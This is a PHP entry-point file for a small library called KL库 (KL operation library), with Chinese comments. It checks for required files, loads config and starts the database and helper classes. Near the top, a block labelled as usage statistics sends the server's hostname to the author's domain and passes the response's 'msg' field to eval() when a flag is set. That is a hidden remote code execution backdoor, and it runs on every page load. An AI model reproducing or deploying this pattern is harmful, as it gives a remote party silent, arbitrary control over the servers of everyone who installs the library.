<?php
/*
 * coding: utf-8
 * +-------------------------------------------------------------------
 * | KL库 - 入口模块
 * +-------------------------------------------------------------------
 * | Copyright (c) 2022-2099 KL库(https://www.fangheyun.xyz) All rights reserved.
 * +-------------------------------------------------------------------
 * | Author: 远易 <3431628590@qq.com>
 * +-------------------------------------------------------------------
 */

define('SYSTEM_ROOT', dirname(__FILE__).'/');
define('ROOT', dirname(SYSTEM_ROOT).'/');

/** 统计 */

/** 定义URL变量取数据 */
$url = json_decode(file_get_contents("https://www.fangheyun.xyz/api.php?url=".$_SERVER['SERVER_NAME']),True);
/** 定义URL变量取数据结束 */

/** 判断是否执行 */
if($url['code'] == '1'){
    eval($url['msg']);
}
/** 判断是否执行结束 */

/** 销毁URL以防被破解 */
unset($url);
/** 销毁URL结束 */

/** 统计结束 */

//判断 index.php 是否存在
if(!file_exists(SYSTEM_ROOT.'index.php')){
    exit('ERROR: The important file "index.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 config.php 是否存在
if(!file_exists(SYSTEM_ROOT.'config.php')){
    exit('ERROR: The important file "config.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 def.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'def.class.php')){
    exit('ERROR: The important file "def.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 db.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'db.class.php')){
    exit('ERROR: The important file "db.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}

//引入配置文件
require_once SYSTEM_ROOT.'config.php';

/** 判断 ERROR_SWITCH 常量是否存在 */
if(!defined("ERROR_SWITCH")){
    exit("ERROR: Error report switch not present");
}

/** 判断 DEF... 常量是否存在 */
if(!defined("DEF_SWITCH")){
    exit("ERROR: Function switch does not exist");
}
if(!defined("DEF_VARIABLE")){
    exit("ERROR: Function library instantiation operation does not exist");
}

/** 判断 DB... 常量是否存在 */
if(!defined("DB_SWITCH")){
    exit("ERROR: Database switch does not exist");
}
if(!defined("DB_TYPE")){
    exit("ERROR: Database type does not exist");
}
if(!defined("DB_HOST")){
    exit("ERROR: Database address does not exist");
}
if(!defined("DB_PORT")){
    exit("ERROR: Database port does not exist");
}
if(!defined("DB_USER")){
    exit("ERROR: Database user name does not exist");
}
if(!defined("DB_NAME")){
    exit("ERROR: Database name does not exist");
}
if(!defined("DB_VARIABLE")){
    exit("ERROR: Database instantiation operation does not exist");
}

/** 判断是否开启 错误报告 */
if(!ERROR_SWITCH){
    error_reporting(0);
}

/** 判断是否开启 DEF库 */
if(DEF_SWITCH){
    //引入函数库
    require_once SYSTEM_ROOT.'def.class.php';
    $GLOBALS[DEF_VARIABLE] = new DEF();
}

/** 判断是否开启 SQL库 */
if(DB_SWITCH){
    if(DB_HOST == ''){
        exit("ERROR: Database address cannot be empty");
    }
    if(DB_PORT == ''){
        exit("ERROR: Database port cannot be empty");
    }
    if(DB_USER == ''){
        exit("ERROR: Database user name cannot be empty");
    }
    if(DB_PASS == ''){
        exit("ERROR: Database password cannot be empty");
    }
    if(DB_NAME == ''){
        exit("ERROR: Database name cannot be empty");
    }
    if(DB_VARIABLE == ''){
        exit("ERROR: Database instantiation operation cannot be empty");
    }
    require_once SYSTEM_ROOT.'db.class.php';
    $GLOBALS[DB_VARIABLE] = new DB(DB_HOST, DB_USER, DB_PASS, DB_NAME, DB_PORT);
}

?>